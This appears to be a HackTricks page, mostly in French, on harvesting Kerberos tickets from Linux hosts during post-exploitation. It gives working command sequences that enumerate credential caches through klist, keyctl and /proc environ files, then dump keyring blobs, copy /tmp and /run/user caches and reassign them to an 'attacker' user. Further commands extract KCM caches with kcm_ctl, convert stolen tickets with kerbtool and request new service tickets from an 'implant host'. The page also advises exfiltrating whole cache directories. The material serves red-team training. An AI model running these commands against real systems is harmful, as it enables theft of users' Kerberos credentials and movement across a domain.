Harvesting Tickets from Linux

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Stockage des identifiants sous Linux

Les systèmes Linux stockent les identifiants dans trois types de caches, à savoir Fichiers (dans le répertoire /tmp), Keyrings du noyau (un segment spécial du noyau Linux) et Mémoire de processus (pour un usage mono-processus). La variable default_ccache_name dans /etc/krb5.conf révèle le type de stockage utilisé, par défaut FILE:/tmp/krb5cc_%{uid} si non spécifiée.

MIT/Heimdal prennent également en charge des backends supplémentaires que vous devriez rechercher lors de la post-exploitation :

  • DIR:/run/user/%{uid}/krb5cc pour les caches multi-ticket basés sur un répertoire (systemd-logind par défaut sur les distributions modernes).
  • KEYRING:persistent:%{uid} ou KEYRING:session pour stocker des ccaches dans le keyring du noyau (KEY_SPEC_SESSION_KEYRING, KEY_SPEC_USER_KEYRING, etc.).
  • KCM:%{uid} lorsque le daemon Kerberos Cache Manager de SSSD (kcm) gère le stockage des tickets.
  • MEMORY:unique_id pour des caches locaux au processus créés par des bibliothèques (gssproxy, sshd, etc.).

Chaque fois que vous ouvrez un shell, extrayez KRB5CCNAME depuis /proc/<pid>/environ des daemons intéressants (par ex. Apache, sshd, gssproxy) pour savoir quel backend de cache est utilisé avant de commencer à copier des fichiers.

Énumération des caches actifs

Énumérez les caches avant l’extraction pour ne pas manquer les tickets de grande valeur :

$ klist -l            # list caches registered in the local keyring/KCM
$ klist -A            # show all ticket-granting tickets in the current cache
$ sudo keyctl get_persistent @u
$ sudo keyctl show `keyctl get_persistent @u`
$ sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc*
$ sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \;

La combinaison de klist, keyctl et de l’inspection de /proc révèle rapidement si les credentials résident dans des fichiers, des keyrings ou KCM, vous permettant de choisir la bonne dumping technique.

Extraction des credentials

The 2017 paper, Kerberos Credential Thievery (GNU/Linux), décrit des méthodes pour extraire des credentials depuis des keyrings et des processus, en mettant l’accent sur le mécanisme de keyring du kernel Linux pour la gestion et le stockage des clés.

Aperçu de l’extraction de keyrings

La keyctl system call, introduite dans la version du kernel 2.6.10, permet aux applications en espace utilisateur d’interagir avec les kernel keyrings. Les credentials dans les keyrings sont stockés comme des composants (default principal et credentials), distincts des file ccaches qui incluent aussi un header. Le hercules.sh script du paper montre comment extraire et reconstruire ces composants en un file ccache utilisable pour credential theft. Notez que les ccaches stockés dans les keyrings peuvent se trouver sous KEYRING:persistent:%{uid} (permanent entre les logins), KEYRING:session (effacé à la déconnexion), ou même KEY_SPEC_THREAD_KEYRING pour les services qui lancent des helper threads — énumérez donc toujours tous les types de keyring pour l’UID compromis.

Procédure manuelle KEYRING

Vous pouvez récupérer manuellement les tickets sans helper scripts chaque fois que default_ccache_name est défini sur KEYRING: :

$ KRING=$(keyctl get_persistent @u)
$ keyctl show $KRING                       # note the key serial of each ccache blob
$ keyctl pipe <serial> > /tmp/ccache_dump  # write raw blob to disk
$ KRB5CCNAME=/tmp/ccache_dump klist        # validate the stolen cache

Si plusieurs principals sont stockés, répétez l’étape keyctl pipe pour chaque numéro de série, puis convertissez le ccache extrait en .kirbi/.ccache compatible Windows en utilisant des outils tels que kerbtool (voir ci-dessous) ou ticketConverter.py avant de le rejouer depuis d’autres machines.

Vol de cache File/DIR — astuces rapides

Lorsque les identifiants sont stockés sous forme de caches FILE: ou DIR:, de simples opérations sur les fichiers suffisent généralement :

$ sudo cp /tmp/krb5cc_1000 /tmp/websvc.ccache
$ sudo cp -r /run/user/1000/krb5cc /tmp/user1000_dircc
$ chmod 600 /tmp/*.ccache && chown attacker /tmp/*.ccache

Les caches de répertoire contiennent un fichier par ticket de service, donc compressez et exfiltrez le répertoire entier pour conserver intactes les paires TGT + TGS. Vous pouvez aussi diriger vos outils directement vers le répertoire : KRB5CCNAME=DIR:/tmp/user1000_dircc impacket-psexec ....

Extraction des caches gérés par KCM

Le Kerberos Cache Manager (kcm) de SSSD agit comme proxy pour le stockage des identifiants via /var/run/kcm/kcmsock (ou /run/.heim_org.h5l.kcm-socket) et persiste des blobs chiffrés dans /var/lib/sss/secrets/ avec .secrets.mkey. Flux d’attaque :

  1. Identifiez l’utilisation de KCM via /etc/krb5.conf (default_ccache_name = KCM:) ou les sorties de klist -l.
  2. Si vous avez l’UID 0 ou faites partie du domaine SELinux kcm, énumérez les caches via l’outil de gestion :
$ sudo kcm_ctl list                 # lists UID + cache IDs handled by kcm
$ sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
$ KRB5CCNAME=/tmp/1000.kcm.ccache klist
  1. Offline approach: copy /var/lib/sss/secrets/secrets.ldb plus /var/lib/sss/secrets/.secrets.mkey, then run SSSDKCMExtractor (or similar PoCs) to decrypt and reassemble ccaches without touching the live socket. This is especially useful in forensics or when socket ACLs block you but disk access is possible.

Parce que le kcm daemon honore les ACLs basées sur l’UID appliquées par SSSD, la privilege escalation to root (ou la compromission de sssd_kcm) est généralement requise, mais une fois obtenue vous pouvez dumper le TGT de chaque utilisateur en quelques secondes.

Outils d’extraction de tickets

Automatiser les étapes ci‑dessus réduit les erreurs et vous fournit du matériel de tickets cross-platform que vous pouvez rejouer depuis Windows tooling.

Tickey

Building on the principles of the hercules.sh script, the tickey tool is specifically designed for extracting tickets from keyrings, executed via /tmp/tickey -i. It enumerates kernel keyrings, reconstructs the serialized ccaches, and writes MIT-compatible cache files you can immediately feed to klist, impacket-*, or kerberoast tooling.

Kerbtool

kerbtool est un utilitaire moderne en Go qui s’exécute nativement sur Linux et peut parse, convert, and request des tickets Kerberos. Deux cas d’utilisation pratiques when harvesting from Linux boxes:

# Convert a stolen MIT ccache into a .kirbi usable by Windows tooling
$ ./kerbtool --convert --in /tmp/websvc.ccache --out websvc.kirbi

# Use an extracted cache to request additional TGS tickets without touching the victim again
$ KRB5CCNAME=/tmp/websvc.ccache ./kerbtool --ask --spn cifs/fileserver.lab.local

Disposer à la fois de tickey et de kerbtool sur votre implant host vous permet de passer sans effort entre Linux, Windows et les cross-platform Kerberos attack chains.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks